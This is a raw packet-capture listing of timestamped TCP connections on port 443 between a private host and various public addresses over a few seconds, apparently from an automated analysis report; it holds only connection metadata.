Mar 28, 2024 14:14:51.402878046 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.403002024 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.403039932 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.403044939 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.403163910 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.403203964 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.403207064 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.403275967 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.403315067 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.403320074 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.403517008 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.403589010 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.403623104 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.403640032 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.403825045 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.403860092 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.403867960 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.404062033 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.404099941 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.404105902 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.404201984 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.404233932 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.404238939 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.404359102 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.404412985 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.404417992 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.404561996 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.404602051 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.404606104 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.404761076 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.404795885 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.404800892 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.404934883 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.404972076 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.404982090 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.405095100 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.405128002 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.405133009 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.405261040 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.405294895 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.405299902 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.405383110 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.405425072 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.405430079 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.405569077 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.405608892 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.405612946 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.405731916 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.405772924 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.405777931 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.406119108 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.406158924 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.406270027 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.406294107 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.406311035 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.406320095 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.406339884 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.406346083 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.406402111 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.406404972 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.406429052 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.406435013 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.406476021 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.406548977 CET	49709	443	192.168.2.16	104.17.24.14
Mar 28, 2024 14:14:51.406567097 CET	443	49709	104.17.24.14	192.168.2.16
Mar 28, 2024 14:14:51.406575918 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.406801939 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.406848907 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.406852007 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.406976938 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407015085 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.407022953 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407162905 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407200098 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.407205105 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407320976 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407344103 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407363892 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.407367945 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407413960 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.407417059 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407433033 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.407484055 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.408884048 CET	49706	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.408894062 CET	443	49706	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.455018044 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.455094099 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.455101967 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.455147982 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.455399036 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.455454111 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.455924034 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.455984116 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.459717035 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.459775925 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.460167885 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.460235119 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.460402012 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.460452080 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.461740017 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.461793900 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.462025881 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.462083101 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.462225914 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.462280035 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.462434053 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.462481022 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.462724924 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.462781906 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.462974072 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.463030100 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.463316917 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.463367939 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.463490963 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.463560104 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.479294062 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.479312897 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.479378939 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.479387999 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.479424953 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.482065916 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.482161045 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.482208967 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:51.482501030 CET	49705	443	192.168.2.16	104.17.64.14
Mar 28, 2024 14:14:51.482506037 CET	443	49705	104.17.64.14	192.168.2.16
Mar 28, 2024 14:14:51.496404886 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.496423006 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.496476889 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.496488094 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.496529102 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.496557951 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.498527050 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.498596907 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.498603106 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.498615026 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.498645067 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.498677015 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.499757051 CET	49708	443	192.168.2.16	151.101.130.137
Mar 28, 2024 14:14:51.499764919 CET	443	49708	151.101.130.137	192.168.2.16
Mar 28, 2024 14:14:51.506859064 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.506934881 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.548595905 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.548639059 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.548655987 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.548667908 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.548685074 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.548712015 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.549365997 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.549432039 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.549433947 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.549443960 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.549477100 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.549870014 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.549918890 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.549918890 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.549930096 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.549963951 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.549983978 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.552186966 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.552239895 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.552292109 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.552334070 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.552779913 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.552831888 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.552836895 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.552882910 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.552886963 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.552908897 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.552947998 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.553088903 CET	49707	443	192.168.2.16	104.18.10.207
Mar 28, 2024 14:14:51.553095102 CET	443	49707	104.18.10.207	192.168.2.16
Mar 28, 2024 14:14:51.919800997 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:51.919826031 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:51.919900894 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:51.920092106 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:51.920104027 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:51.953769922 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:51.953778982 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:51.953845024 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:51.954029083 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:51.954039097 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:51.958583117 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:51.958596945 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:51.958652973 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:51.958818913 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:51.958830118 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:52.160792112 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:52.161009073 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:52.161020041 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:52.162163973 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:52.162225962 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:52.163136959 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:52.163198948 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:52.163289070 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:52.163294077 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:52.190586090 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.190841913 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.190850973 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.191740990 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.191808939 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.192846060 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.192898035 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.193017006 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.193022013 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.215459108 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:52.231707096 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.232152939 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:52.232160091 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.233217955 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.233279943 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:52.234051943 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:52.234112024 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.234174013 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:52.234180927 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.247437954 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.279443026 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:52.472403049 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.472491980 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.472560883 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.473284006 CET	49718	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.473297119 CET	443	49718	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.500365019 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.500437021 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.500497103 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:52.500855923 CET	49719	443	192.168.2.16	142.251.111.99
Mar 28, 2024 14:14:52.500860929 CET	443	49719	142.251.111.99	192.168.2.16
Mar 28, 2024 14:14:52.572930098 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.572949886 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.573029995 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.573209047 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.573221922 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.840538979 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.841303110 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.841315031 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.842916012 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.842993975 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.843329906 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.843406916 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.843468904 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:52.843476057 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:52.885442019 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:53.126513958 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:53.126601934 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:53.126666069 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:53.127211094 CET	49722	443	192.168.2.16	34.117.186.192
Mar 28, 2024 14:14:53.127222061 CET	443	49722	34.117.186.192	192.168.2.16
Mar 28, 2024 14:14:53.137115002 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.137171984 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.137217999 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.137224913 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:53.137232065 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.137284040 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:53.139084101 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.141339064 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.141371012 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.141396046 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:53.141402006 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.141443014 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:53.142338991 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:53.142391920 CET	443	49721	104.18.42.197	192.168.2.16
Mar 28, 2024 14:14:53.142446995 CET	49721	443	192.168.2.16	104.18.42.197
Mar 28, 2024 14:14:53.325767994 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.325793982 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.325978994 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.326081038 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.326093912 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.528839111 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.529293060 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.529330015 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.530247927 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.530332088 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.531341076 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.531402111 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.531496048 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.531508923 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.572706938 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.867753983 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.867841005 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:53.867896080 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.868666887 CET	49725	443	192.168.2.16	141.193.213.20
Mar 28, 2024 14:14:53.868686914 CET	443	49725	141.193.213.20	192.168.2.16
Mar 28, 2024 14:14:54.885989904 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:54.886008978 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:14:54.886085033 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:54.886303902 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:54.886312008 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:14:55.103046894 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:14:55.103331089 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:55.103343010 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:14:55.104269028 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:14:55.104341030 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:55.104774952 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:55.104816914 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:14:55.154431105 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:55.154437065 CET	443	49726	172.253.115.106	192.168.2.16
Mar 28, 2024 14:14:55.202425957 CET	49726	443	192.168.2.16	172.253.115.106
Mar 28, 2024 14:14:56.609960079 CET	49673	443	192.168.2.16	204.79.197.203
Mar 28, 2024 14:14:56.913439035 CET	49673	443	192.168.2.16	204.79.197.203
Mar 28, 2024 14:14:57.520560026 CET	49673	443	192.168.2.16	204.79.197.203
Mar 28, 2024 14:14:58.683633089 CET	49688	443	192.168.2.16	204.79.197.200
Mar 28, 2024 14:14:58.728435040 CET	49673	443	192.168.2.16	204.79.197.203
Mar 28, 2024 14:15:01.142446995 CET	49673	443	192.168.2.16	204.79.197.203
Mar 28, 2024 14:15:01.718338013 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:01.718363047 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:01.718480110 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:01.720459938 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:01.720472097 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.121601105 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.121701002 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.125138044 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.125148058 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.125524998 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.166441917 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.179425955 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.220232010 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501528978 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501549959 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501558065 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501568079 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501596928 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501626968 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.501648903 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501665115 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.501696110 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.501714945 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.501743078 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.512928963 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.512942076 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.512963057 CET	49730	443	192.168.2.16	52.165.165.26
Mar 28, 2024 14:15:02.512968063 CET	443	49730	52.165.165.26	192.168.2.16
Mar 28, 2024 14:15:02.897588968 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:02.897631884 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:02.897712946 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:02.898628950 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:02.898643970 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.259398937 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.259490967 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.262600899 CET	49731	443	192.168.2.16	23.221.242.90
Mar 28, 2024 14:15:03.262610912 CET	443	49731	23.221.242.90	192.168.2.16
Mar 28, 2024 14:15:03.262861967 CET	443	49731	23.221.242.90	192.168.2.16
